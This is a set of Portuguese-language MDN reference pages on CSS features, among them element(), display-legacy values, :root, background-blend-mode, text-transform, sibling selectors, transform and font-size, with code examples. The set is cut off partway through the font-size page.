{"title":"element - CSS","text":"element\n=======\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA função CSS **`element()`** define uma `<image>` gerada de um elemento HTML qualquer. Essa imagem é ***dinamica***, significando que se o elemento HTML for mudado, a propriedade CSS usando este valor será atualizada automaticamente.\n\nUm cenario particularmente util para usar esta função seria colocar uma imagem em um elemento `<canvas>`, e então usar-lo como um *background*.\n\nEm navegadores Gecko, você pode usar o metodo não padronizado `document.mozSetImageElement()` (en-US) para mudar o elemento sendo usado como *background* por um elemento de *background* selecionado por CSS.\n\nSintaxe\n-------\n```\n\nelement( id )\n```\n\n\nOnde:\n\n`id`\n\nÉ o ID de um elemento para usar como background, especificado usando o atributo HTML #*id* no elemento.\n\nExemplos\n--------\n\nEsses exemplos podem ser vistos em tempo real em versões do Firefox que suportam `-moz-element()`.\n\n### Um exemplo de alguma maneira real\n\nEsse exemplo usa uma `<div>` escondida como *background*. O elemento de *background* tem um gradiente, mas tambem um texto que é usado como parte do *background*.\n\n\n```html\n<div\n style=\"width:400px; height:400px; background:-moz-element(#myBackground1) no-repeat;\">\n  <p>This box uses the element with the #myBackground1 ID as its background!</p>\n</div>\n\n<div style=\"overflow:hidden; height:0;\">\n  <div\n id=\"myBackground1\"\n style=\"width:1024px; height:1024px; background-image: linear-gradient(to right, red, orange, yellow, white);\">\n    <p style=\"transform-origin:0 0; transform: rotate(45deg); color:white;\">\n      This text is part of the background. Cool, huh?\n    </p>\n  </div>\n</div>\n```\n\n\nA `<div>` com ID \"myBackground1\" é usada como *background*, mantendo o paragrafo \"This box uses the element with the #myBackground1 ID as its background!\".\n\n![example1.png](/pt-BR/docs/Web/CSS/element/example1.png)\n\n### Um exemplo ainda mais bizarro\n\nEsse exemplo usa um elemento `<button>` se repetindo como *background*. Isso mostra que você pode usar qualquer elemento como background, mas não mostra necessariamente boas praticas de design.\n\n\n```html\n<div\n style=\"width:400px; height:100px; background:-moz-element(#myBackground2);\"></div>\n\n<div style=\"overflow:hidden; height:0;\">\n  <button id=\"myBackground2\" type=\"button\">Evil button!</button>\n</div>\n```\n\n\n![example2.png](/pt-BR/docs/Web/CSS/element/example2.png)\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Images Module Level 4 # element-notation |\n\nCompatibilidade dos navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja tambem\n-----------\n\n* `document.mozSetImageElement()` (en-US)"}
{"title":"<display-legacy> - CSS","text":"<display-legacy>\n================\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since September 2020.\n\n* Learn more\n* See full compatibility\n* Report feedback\nO CSS 2 usou uma sintaxe de palavra-chave única para o `display` , exigindo palavras-chave separadas para variantes em nível de bloco e em linha do mesmo modo de layout. Esta página detalha esses valores.\n\nSintaxe\n-------\n\n`inline-block`\n\nO elemento gera uma caixa de elemento de bloco que fluirá com o conteúdo circundante, como se fosse uma única caixa embutida (se comportando como um elemento substituído).\n\nÉ equivalente a `inline flow-root`.\n\n`inline-table`\n\nO `inline-table` O valor não possui um mapeamento direto em HTML. Ele se comporta como um HTML`<table>` elemento, mas como uma caixa embutida, em vez de uma caixa no nível do bloco. Dentro da caixa da tabela há um contexto em nível de bloco.\n\nÉ equivalente a `inline table`.\n\n`inline-flex`\n\nO elemento se comporta como um elemento embutido e apresenta seu conteúdo de acordo com o modelo flexbox.\n\nÉ equivalente a `inline flex`.\n\n`inline-grid`\n\nO elemento se comporta como um elemento embutido e apresenta seu conteúdo de acordo com o modelo de grade.\n\nÉ equivalente a `inline grid`.\n\n### Sintaxe formal\n```\n\n<display-legacy> =   \n  inline-block  | (en-US)  \n  inline-table  | (en-US)  \n  inline-flex   | (en-US)  \n  inline-grid     \n  \n```\n\nExemplo\n-------\n\nNo exemplo abaixo, estamos criando um contêiner flex inline com a palavra-chave herdada inline-flex.\n\n### HTML\n\n\n```html\n<div class=\"container\">\n  <div>Flex Item</div>\n  <div>Flex Item</div>\n</div>\n\nNot a flex item\n```\n\n### CSS\n\n\n```css\n.container {\n  display: inline-flex;\n}\n```\n\n### Result\n\nNa nova sintaxe, o contêiner flex inline seria criado usando dois valores, inline para o tipo de exibição externo e flex para o tipo de exibição interno.\n\n\n```css\n.container {\n  display: inline flex;\n}\n```\n\nCompatibilidade com navegadores\n-------------------------------\n\n### Suporte de`inline-block`\n\n### css.properties.display.inline-block\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.inline-table\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.inline-flex\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.inline-grid\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### Suporte de`inline-table`\n\n### css.properties.display.inline-block\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.inline-table\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.inline-flex\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.inline-grid\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### Suporte de`inline-flex`\n\n### css.properties.display.inline-block\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.inline-table\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.inline-flex\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.inline-grid\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### Suporte de`inline-grid`\n\n### css.properties.display.inline-block\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.inline-table\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.inline-flex\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.inline-grid\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `display`\n    + `<display-outside>`\n    + `<display-inside>`\n    + `<display-listitem>`\n    + `<display-internal>`\n    + `<display-box>`"}
{"title":":root - CSS","text":":root\n=====\n\nA pseudo-classe CSS **`:root`** se equipara à raiz de uma árvore, que por sua vez representa o documento. Aplicado ao HTML, `:root` representa o elemento `<html>` e é idêntico ao seletor `html`, exceto que sua especificidade é mais alta.\n\n\n```css\n/\\* Seleciona o elemento raiz do documento:\n <html> no caso do HTML \\*/\n:root {\n  background: yellow;\n}\n```\n\nSintaxe\n-------\n```\n\n:root\n```\n\nExemplos\n--------\n\n### Declarando variáveis CSS globais\n\nO`:root` pode ser útil para declarar uma variável CSS global:\n\n\n```css\n:root {\n  --main-color: hotpink;\n  --pane-padding: 5px 42px;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Selectors Level 4 # root-pseudo |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<html>`\n* `Document.rootElement` (en-US)\n* `Node.getRootNode()` (en-US)\n* `Element.shadowRoot` (en-US)\n* `ShadowRoot` (en-US)"}
{"title":"background-blend-mode - CSS","text":"background-blend-mode\n=====================\n\nA propriedade CSS **`background-blend-mode`** descreve como as imagens de fundo do elemento devem se misturar entre si e a cor de fundo do elemento.\n\n\n```css\n/\\* Um valor \\*/\nbackground-blend-mode: normal;\n\n/\\* Dois valores, um por fundo \\*/\nbackground-blend-mode: darken, luminosity;\n\n/\\* Valores globais \\*/\nbackground-blend-mode: initial;\nbackground-blend-mode: inherit;\nbackground-blend-mode: unset;\n```\n\n\nOs modos de mistura devem ser definidos na mesma ordem que a propriedade CSS `background-image` (en-US). Se os comprimentos da lista dos modos de mistura e das imagens de fundo não forem iguais, ele será repetido e/ou truncado até que os comprimentos correspondam.\n\n|  |  |\n| --- | --- |\n| Initial value | `normal` |\n| Aplica-se a | All elements. In SVG, it applies to container elements, graphics elements, and graphics referencing elements.. It also applies to `::first-letter` and `::first-line`. |\n| Inherited | não |\n| Computed value | as specified |\n| Animation type | Not animatable |\n\nSintaxe\n-------\n\n### Valores\n\n`<blend-mode>`\n\nÉ um `<blend-mode>` denotando o modo de mesclagem a ser aplicado. Pode haver vários valores, separados por vírgulas.\n\n### Sintaxe formal\n```\n\nbackground-blend-mode =   \n  <mix-blend-mode># (en-US)    \n  \n```\n\nExemplos\n--------\n```\n\n<div id=\"div\"></div>\n<select id=\"select\">\n  <option>normal</option>\n  <option>multiply</option>\n  <option selected>screen</option>\n  <option>overlay</option>\n  <option>darken</option>\n  <option>lighten</option>\n  <option>color-dodge</option>\n  <option>color-burn</option>\n  <option>hard-light</option>\n  <option>soft-light</option>\n  <option>difference</option>\n  <option>exclusion</option>\n  <option>hue</option>\n  <option>saturation</option>\n  <option>color</option>\n  <option>luminosity</option>\n</select>\n```\n\n\n```\n#div {\n  width: 300px;\n  height: 300px;\n  background: url(\"br.png\"), url(\"tr.png\");\n  background-blend-mode: screen;\n}\n```\n\n\n```\ndocument.getElementById(\"select\").onchange = function (event) {\n  document.getElementById(\"div\").style.backgroundBlendMode =\n    document.getElementById(\"select\").selectedOptions[0].innerHTML;\n};\nconsole.log(document.getElementById(\"div\"));\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Compositing and Blending Level 2 # background-blend-mode |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<blend-mode>`\n* `mix-blend-mode`"}
{"title":"text-transform - CSS","text":"text-transform\n==============\n\nA propriedade de CSS **`text-transform`** especifica como capitalizar um texto de um elemento. Pode ser usado para que o texto apareça com todas as letras maiúsculas ou todas minúsculas, ou com cada palavra em maiúscula.\n\n\n```css\n/\\* Keyword values \\*/\ntext-transform: capitalize;\ntext-transform: uppercase;\ntext-transform: lowercase;\ntext-transform: none;\ntext-transform: full-width;\n\n/\\* Global values \\*/\ntext-transform: inherit;\ntext-transform: initial;\ntext-transform: unset;\n```\n\n\nThe `text-transform` property takes into account language-specific case mapping rules, like:\n\n* in Turkic languages, like Turkish (`tr`), Azerbaijani (`az`), Crimean Tatar (`crh`), Volga Tatar (`tt`), and Bashkir (`ba`), there are two kinds of i, with and without the dot, and two case pairings: `i`/`İ` and `ı`/`I`.\n* In German (`de`), the `ß` becomes `SS` in uppercase.\n* In Dutch (`nl`), the `ij` digraph becomes `IJ`, even with `text-transform: capitalize`, which only put the first letter of a word in uppercase.\n* In Greek (`el`), vowels lose their accent when the whole word is in uppercase (`ά`/`Α`), except for the disjunctive eta (`ή`/`Ή`). Also, diphthongs with an accent on the first vowel lose the accent and gain a diaeresis on the second vowel (`άι`/`ΑΪ`).\n* In Greek (`el`), the lowercase sigma character has two forms: `σ` and `ς`. `ς` is used only when sigma terminates a word. When applying `text-transform: lowercase` to an uppercase sigma (`Σ`), the browser needs to choose the right lowercase form based on context.\n* in Irish (`ga`), certain prefixed letters remain in lowercase when the base initial is capitalised, so for example `text-transform: uppercase` will change `ar aon tslí` to `AR AON tSLÍ` and not, as one might expect, `AR AON TSLÍ` (Firefox only). In some cases, a hyphen is also removed upon uppercasing: `an t-uisce` transforms to `AN tUISCE` (and the hyphen is correctly reinserted by `text-transform: lowercase`)\n\nThe language is defined by the `lang` HTML attribute or the `xml:lang` XML attribute.\n\nSupport for these specific cases vary from one browser to the other, so check the browser compatibility table.\n\n|  |  |\n| --- | --- |\n| Initial value | `none` |\n| Aplica-se a | all elements. It also applies to `::first-letter` and `::first-line`. |\n| Inherited | yes |\n| Computed value | as specified |\n| Animation type | discrete |\n\nSyntax\n------\n\n`capitalize`\n\nIs a keyword forcing the first *letter* of each word to be converted to uppercase. Other characters are unchanged; that is, they retain their original case as written in the element's text. A letter is any Unicode character part of the Letter or Number general categories \nExperimental\n : it excludes any punctuation marks or symbols at the beginning of the word.\n\n**Nota:** Authors should not expect `capitalize` to follow language-specific title casing conventions (such as skipping articles in English).\n\n**Nota:** The `capitalize` keyword was under-specified in CSS 1 and CSS 2.1. There were differences between browsers in the way the first letter was calculated (Firefox considered - and \\_ as letters, but not the others. Both Webkit and Gecko incorrectly considered letter-based symbols like `ⓐ` to be real letters. Internet Explorer 9 was the closest to the CSS 2 definition, but with some weird cases). By precisely defining the correct behavior, CSS Text Level 3 cleans this mess up. The `capitalize` line in the browser compatibility table contains the version the different engines started to support this now precisely defined behavior.\n\n`uppercase`\n\nIs a keyword forcing all characters to be converted to uppercase.\n\n`lowercase`\n\nIs a keyword forcing all characters to be converted to lowercase.\n\n`none`\n\nIs a keyword preventing the case of all characters to be changed.\n\n`full-width` \nExperimental\n\nIs a keyword forcing the writing of a character — mainly ideograms and latin scripts — inside a square, allowing them to be aligned in the usual East Asian scripts (like Chinese or Japanese).\n\n### Formal syntax\n```\n\ntext-transform =   \n  none                                                | (en-US)  \n  [ (en-US) capitalize | (en-US) uppercase | (en-US) lowercase ] (en-US) || (en-US) full-width || (en-US) full-size-kana  | (en-US)  \n  math-auto                                             \n  \n```\n\nExamples\n--------\n\n### Example using \"none\"\n\n\n```html\n<p>\n  Initial String\n  <strong>Lorem ipsum dolor sit amet, consectetur adipisicing elit, ...</strong>\n</p>\n<p>\n  text-transform: none\n  <strong\n ><span\n >Lorem ipsum dolor sit amet, consectetur adipisicing elit, ...</span\n ></strong\n >\n</p>\n```\n\n\n\n```css\nspan {\n  text-transform: none;\n}\nstrong {\n  float: right;\n}\n```\n\n\nThis demonstrates no text transformation.\n\n### `capitalize` (General)\n\n\n```html\n<p>\n  Initial String\n  <strong>Lorem ipsum dolor sit amet, consectetur adipisicing elit, ...</strong>\n</p>\n<p>\n  text-transform: capitalize\n  <strong\n ><span\n >Lorem ipsum dolor sit amet, consectetur adipisicing elit, ...</span\n ></strong\n >\n</p>\n```\n\n\n\n```css\nspan {\n  text-transform: capitalize;\n}\nstrong {\n  float: right;\n}\n```\n\n\nThis demonstrates text capitalization.\n\n### `capitalize` (Punctuation)\n\n\n```html\n<p>\n  Initial String\n  <strong\n >(this) “is” [a] –short– -test- «for» *the* _css_ ¿capitalize?\n    ?¡transform!</strong\n >\n</p>\n<p>\n  text-transform: capitalize\n  <strong\n ><span\n >(this) “is” [a] –short– -test- «for» *the* _css_ ¿capitalize?\n      ?¡transform!</span\n ></strong\n >\n</p>\n```\n\n\n\n```css\nspan {\n  text-transform: capitalize;\n}\nstrong {\n  float: right;\n}\n```\n\n\nThis demostrates how initial punctuations of a word are ignored. The keyword target the first letter, that is the first Unicode character part of the Letter or Number general category.\n\n### `capitalize` (Symbols)\n\n\n```html\n<p>\n  Initial String\n  <strong>ⓐⓑⓒ (ⓓⓔⓕ) —ⓖⓗⓘ— ⓙkl</strong>\n</p>\n<p>\n  text-transform: capitalize\n  <strong><span>ⓐⓑⓒ (ⓓⓔⓕ) —ⓖⓗⓘ— ⓙkl</span></strong>\n</p>\n```\n\n\n\n```css\nspan {\n  text-transform: capitalize;\n}\nstrong {\n  float: right;\n}\n```\n\n\nThis demonstrates how initial symbols are ignored. The keyword target the first letter, that is the first Unicode character part of the Letter or Number general category.\n\n### `capitalize` (Dutch *ij* digraph)\n\n\n```html\n<p>\n  Initial String\n  <strong lang=\"nl\">The Dutch word: \"ijsland\" starts with a digraph.</strong>\n</p>\n<p>\n  text-transform: capitalize\n  <strong\n ><span lang=\"nl\"\n >The Dutch word: \"ijsland\" starts with a digraph.</span\n ></strong\n >\n</p>\n```\n\n\n\n```css\nspan {\n  text-transform: capitalize;\n}\nstrong {\n  float: right;\n}\n```\n\n\nThis demonstrates how the Dutch *ij* digraph must be handled like one single letter.\n\n### `uppercase` (General)\n\n\n```html\n<p>\n  Initial String\n  <strong>Lorem ipsum dolor sit amet, consectetur adipisicing elit, ...</strong>\n</p>\n<p>\n  text-transform: uppercase\n  <strong\n ><span\n >Lorem ipsum dolor sit amet, consectetur adipisicing elit, ...</span\n ></strong\n >\n</p>\n```\n\n\n\n```css\nspan {\n  text-transform: uppercase;\n}\nstrong {\n  float: right;\n}\n```\n\n\nThis demonstrates transforming the text to uppercase.\n\n### `uppercase` (Greek Vowels)\n\n\n```html\n<p>\n  Initial String\n  <strong>Θα πάμε στο \"Θεϊκό φαΐ\" ή στη \"Νεράιδα\"</strong>\n</p>\n<p>\n  text-transform: uppercase\n  <strong><span>Θα πάμε στο \"Θεϊκό φαΐ\" ή στη \"Νεράιδα\"</span></strong>\n</p>\n```\n\n\n\n```css\nspan {\n  text-transform: uppercase;\n}\nstrong {\n  float: right;\n}\n```\n\n\nThis demonstrates how Greek vowels except disjunctive *eta* should have no accent, and the accent on the first vowel of a vowel pair becomes a diaeresis on the second vowel.\n\n### `lowercase` (General)\n\n\n```html\n<p>\n  Initial String\n  <strong>Lorem ipsum dolor sit amet, consectetur adipisicing elit, ...</strong>\n</p>\n<p>\n  text-transform: lowercase\n  <strong\n ><span\n >Lorem ipsum dolor sit amet, consectetur adipisicing elit, ...</span\n ></strong\n >\n</p>\n```\n\n\n\n```css\nspan {\n  text-transform: lowercase;\n}\nstrong {\n  float: right;\n}\n```\n\n\nThis demonstrates transforming the text to lowercase.\n\n### `lowercase` (Greek Σ)\n\n\n```html\n<p>\n  Initial String\n  <strong>Σ IS A greek LETTER that appears SEVERAL TIMES IN ΟΔΥΣΣΕΥΣ.</strong>\n</p>\n<p>\n  text-transform: lowercase\n  <strong\n ><span\n >Σ IS A greek LETTER that appears SEVERAL TIMES IN ΟΔΥΣΣΕΥΣ.</span\n ></strong\n >\n</p>\n```\n\n\n\n```css\nspan {\n  text-transform: lowercase;\n}\nstrong {\n  float: right;\n}\n```\n\n\nThis demonstrates how the Greek character sigma (`Σ`) is transformed into the regular lowercase sigma (`σ`) or the word-final variant (`ς`), according the context.\n\n### `full-width` (General)\n\n\n```html\n<p>\n  Initial String\n  <strong\n >0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&()*+,-./:;<=>?@{|}~</strong\n >\n</p>\n<p>\n  text-transform: full-width\n  <strong\n ><span\n >0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&()*+,-./:;<=>?@{|}~</span\n ></strong\n >\n</p>\n```\n\n\n\n```css\nspan {\n  text-transform: full-width;\n}\nstrong {\n  width: 100%;\n  float: right;\n}\n```\n\n\nSome characters exists in two formats, normal width and a full-width, with different Unicode code points. The full-width version is used to mix them smoothly with Asian ideographic characters.\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| CSS Text Module Level 3 # text-transform |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `font-variant` (en-US)"}
{"title":"General sibling selectors - CSS","text":"General sibling selectors\n=========================\n\nResumo\n------\n\nO **combinador geral de irmãos** (~) separa dois seletores e corresponde ao segundo elemento somente se ele for precedido pelo primeiro, e ambos compartilham um pai comum.\n\nSintaxe\n-------\n```\n\nelemento_anterior ~ elemento_alvo { propriedades de estilo }\n```\n\nExemplo\n-------\n\n\n```css\np ~ span {\n  color: red;\n}\n```\n\n\n\n```html\n<span>Este não é vermelho.</span>\n<p>Aqui temos um parágrafo.</p>\n<code>Aqui temos um pouco de código.</code>\n<span>E aqui há um span vermelho!</span>\n<code>Mais código...</code>\n<span>E este também é um span vermelho!</span>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Selectors Level 4 # general-sibling-combinators |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja mais\n---------\n\n* Adjacent sibling selectors (en-US)"}
{"title":"transform - CSS","text":"transform\n=========\n\nResumo\n------\n\nA propriedade CSS `transform` permite modificar o espaço coordenado do modelo de formatação CSS. Usando-a, elementos podem ser traduzidos, rotacionados, ter seu tamanho ajustado e inclinados de acordo com os valores definidos.\n\nExperimente\n-----------\n\nSe a propriedade tem um valor diferente de `none`, um contexto de empilhamento será criado. Neste caso, o objeto atuará como um bloco recipiente para `position: fixed` para os elementos que estão contidos.\n\nSintaxe\n-------\n```\n\nGramática Formal: <transform-função> [<transform-função>]* | none\n```\n\n\n\n```css\ntransform: none\ntransform: matrix(1.0, 2.0, 3.0, 4.0, 5.0, 6.0)\ntransform: translate(12px, 50%)\ntransform: translateX(2em)\ntransform: translateY(3in)\ntransform: scale(2, 0.5)\ntransform: scaleX(2)\ntransform: scaleY(0.5)\ntransform: rotate(0.5turn)\ntransform: skewX(30deg)\ntransform: skewY(1.07rad)\ntransform: matrix3d(1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0, 9.0, 10.0, 11.0, 12.0, 13.0, 14.0, 15.0, 16.0)\ntransform: translate3d(12px, 50%, 3em)\ntransform: translateZ(2px)\ntransform: scale3d(2.5, 1.2, 0.3)\ntransform: scaleZ(0.3)\ntransform: rotate3d(1, 2.0, 3.0, 10deg)\ntransform: rotateX(10deg)\ntransform: rotateY(10deg)\ntransform: rotateZ(10deg)\ntransform: perspective(17px)\n\ntransform: translateX(10px) rotate(10deg) translateY(5px)\n```\n\n\nA propriedade transform pode ser especificada com a palavra reservada `none` ou com uma das várias funções disponíveis.\n\nSe `perspective()` é uma das múltiplas funções atribuídas à transform, então ela obrigatoriamente deve ser a primeira.\n\n### Valores\n\n`<transform-função>`\n\nUma ou mais das funções CSS transform para serem aplicadas, veja abaixo.\n\n`none`\n\nEspecifica que nenhuma função transform deve ser aplicada.\n\nExemplos\n--------\n\nVeja Using CSS transforms.\n\n### Exemplo ao vivo\n\n\n```css\npre {\n  width: 33em;\n  border: solid red;\n\n  -webkit-transform: translate(100px) rotate(20deg);\n  -webkit-transform-origin: 60% 100%;\n\n  -o-transform: translate(100px) rotate(20deg);\n  -o-transform-origin: 60% 100%;\n\n  transform: translate(100px) rotate(20deg);\n  transform-origin: 60% 100%;\n}\n```\n\nCSS transform functions\n-----------------------\n\nThe `transform` CSS property allows the coordinate system used by an element to be manipulated using **transform functions**. These functions are described below.\n\n### matrix\n```\n\ntransform:  matrix(a, c, b, d, tx, ty)\n\n/* Where a, b, c, d build the transformation matrix\n   ┌     ┐\n   │ a b │\n   │ c d │\n   └     ┘\n   and tx, ty are the translate values.  */\n```\n\n\nSpecifies a 2D transformation matrix comprised of the specified six values. This is the equivalent to applying the transformation **matrix [a b c d tx ty]**.\n\n**Nota:** Gecko (Firefox) accepts a `<length>` (en-US) value for **tx** and **ty**. Webkit (Safari, Chrome) and Opera currently support a unitless `<number>` for **tx** and **ty**.\n\n#### Live examples\n```\n\n background: gold;  width: 30em;\n\n -webkit-transform: matrix(1, -0.2, 0, 1, 0, 0);\n      -o-transform: matrix(1, -0.2, 0, 1, 0, 0);\n         transform: matrix(1, -0.2, 0, 1, 0, 0);\n```\n\n\n```\n background: wheat;\n max-width: intrinsic;\n\n -webkit-transform: matrix(1, 0, 0.6, 1,  250, 0);\n      -o-transform: matrix(1, 0, 0.6, 1,  250, 0);\n         transform: matrix(1, 0, 0.6, 1,  250, 0);\n```\n\n\n#### See also\n\n* Examples of linear transformation matrices Wikipedia\n* Coordinate transformation matrices mathamazement.com\n* Microsoft's matrix filter MSDN\n### rotate\n```\n\ntransform:  rotate(angle);       /* an <angle>, e.g.  rotate(30deg) */\n```\n\n\nRotates the element clockwise around its origin (as specified by the `transform-origin` property) by the specified `angle`. The operation corresponds to the matrix **[cos(angle) sin(angle) -sin(angle) cos(angle) 0 0]**.\n\n### scale\n```\n\ntransform:  scale(sx[, sy]);     /* one or two unitless <number>s, e.g.  scale(2.1,4) */\n```\n\n\nSpecifies a 2D scaling operation described by **[sx, sy]**. If `sy` isn't specified, it is assumed to be equal to `sx`.\n\n### scaleX\n```\n\ntransform:  scaleX(sx);          /* a unitless <number>, e.g.  scaleX(2.7) */\n```\n\n\nSpecifies a scale operation using the vector **[sx, 1]**.\n\n### scaleY\n```\n\ntransform:  scaleY(sy)           /* a unitless <number>, e.g.  scaleY(0.3) */\n```\n\n\nSpecifies a scale operation using the vector **[1, sy]**.\n\n### skew\n\n**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.\n```\n\ntransform:  skew(ax[, ay])       /* one or two <angle>s, e.g.  skew(30deg,-10deg) */\n```\n\n\nSkews the element around the X and Y axes by the specified angles. If `ay` isn't provided, no skew is performed on the Y axis.\n\n**Nota:** The `skew()` function was present in early drafts. It has been removed but is still present in some implementations. Do not use it.\n\nTo achieve the same effect, use `skewX()` if you were using `skew()` with one parameter or `matrix(1, tan(ax)`*,* `tan(ay), 1, 0, 0)` for the general way. Note that *tan()* isn't a CSS function and you have to precalculate it yourself.\n\n### skewX\n```\n\ntransform:  skewX(angle)         /* an <angle>, e.g.  skewX(-30deg) */\n```\n\n\nSkews the element around the X axis by the given `angle`.\n\n### skewY\n```\n\ntransform:  skewY(angle)         /* an <angle>, e.g.  skewY(4deg) */\n```\n\n\nSkews the element around the Y axis by the given `angle`.\n\n### translate\n```\n\ntransform:  translate(tx[, ty])  /* one or two <length> values */\n```\n\n\nSpecifies a 2D translation by the vector **[tx, ty]**. If `ty` isn't specified, its value is assumed to be zero.\n\n### translateX\n```\n\ntransform:  translateX(tx)       /* see <length> for possible values */\n```\n\n\nTranslates the element by the given amount along the X axis.\n\n### translateY\n```\n\ntransform:  translateY(ty)       /* see <length> for possible values */\n```\n\n\nTranslates the element by the given amount along the Y axis.\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| CSS Transforms Module Level 2 # transform-functions |\n| CSS Transforms Module Level 1 # transform-property |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* Using CSS Transforms\n* More info on CSS3 Rotation / Matrix Filter issues in the comments on Paul Irish's blog.\n* A cross-browser 2D transform plugin for jQuery"}
{"title":"font-size - CSS","text":"font-size\n=========\n\nA propriedade **`font-size`** no CSS estabelece o tamanho da fonte.\n\nEsta propriedade também é usada para computaro tamanho de `em`, `ex`, e outras unidades `<length>` (en-US) relativas.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```css\n/\\* <absolute-size> values \\*/\nfont-size: xx-small;\nfont-size: x-small;\nfont-size: small;\nfont-size: medium;\nfont-size: large;\nfont-size: x-large;\nfont-size: xx-large;\n\n/\\* <relative-size> values \\*/\nfont-size: smaller;\nfont-size: larger;\n\n/\\* <length> values \\*/\nfont-size: 12px;\nfont-size: 0.8em;\n\n/\\* <percentage> values \\*/\nfont-size: 80%;\n\n/\\* Global values \\*/\nfont-size: inherit;\nfont-size: initial;\nfont-size: unset;\n```\n\n\nThe `font-size` property is specified in one of the following ways:\n\n* As one of the absolute-size or relative-size keywords\n* As a `<length>` or a `<percentage>`, relative to the parent element's font size\n### Valores\n\n`xx-small`, `x-small`, `small`, `medium`, `large`, `x-large`, `xx-large`\n\nAbsolute-size keywords, based on the user's default font size (which is `medium`).\n\n`larger`, `smaller`\n\nRelative-size keywords. The font will be larger or smaller relative to the parent element's font size, roughly by the ratio used to separate the absolute-size keywords above.\n\n`<length>` (en-US)\n\nA positive `<length>` (en-US) value. For most font-relative units (such as `em` and `ex`), the font size is relative to the parent element's font size.\n\nFor font-relative units that are root-based (such as `rem`), the font size is relative to the size of the font used by the `<html>` (root) element.\n\n`<percentage>` (en-US)\n\nA positive `<percentage>` (en-US) value, relative to the parent element's font size.\n\n\n**Nota:** To maximize accessibility, it is generally best to use values that are relative to the user's default font size.\n\n### Formal syntax\n```\n\nfont-size =   \n  <absolute-size> (en-US)            | (en-US)  \n  <relative-size> (en-US)            | (en-US)  \n  <length-percentage [0,∞]>  | (en-US)  \n  math                         \n  \n<length-percentage> =   \n  <length> (en-US)      | (en-US)  \n  <percentage> (en-US)    \n  \n```\n\nPossible approaches\n-------------------\n\nThere are several ways to specify the font size, including with keywords or numerical values for pixels or ems. Choose the appropriate method based on the needs for the particular web page.\n\n### Keywords\n\nKeywords are a good way to set the size of fonts on the web. By setting a keyword font size on the `<body>` element, you can set relative font-sizing everywhere else on the page, giving you the ability to easily scale the font up or down on the entire page accordingly.\n\n### Pixels\n\nSetting the font size in pixel values (`px`) is a good choice when you need pixel accuracy. A px value is static. This is an OS-independent and cross-browser way of literally telling the browsers to render the letters at exactly the number of pixels in height that you specified. The results may vary slightly across browsers, as they may use different algorithms to achieve a similar effect.\n\nFont sizing settings can also be used in combination. For example, if a parent element is set to `16px` and its child element is set to `larger`, the child element displays larger than the parent element in the page.\n\n**Nota:** Defining font sizes in `px` is *not accessible*, because the user cannot change the font size from the browser. For example, users with limited vision may wish to set the font size much larger than the size chosen by a web designer. Avoid using them for font sizes if you wish to create an inclusive design.\n\n### Ems\n\nAnother way of setting the font size is with `em` values. The size of an `em` value is dynamic. When defining the `font-size` property, an em is equal to the size of the font that applies to the parent of the element in question. If you haven't set the font size anywhere on the page, then it is the browser default, which is often 16px. So, by default 1em = 16px, and 2em = 32px. If you set a `font-size` of 20px on the body element, then 1em = 20px and 2em = 40px. Note that the value 2 is essentially a multiplier of the current em size.\n\nIn order to calculate the em equivalent for any pixel value required, you can 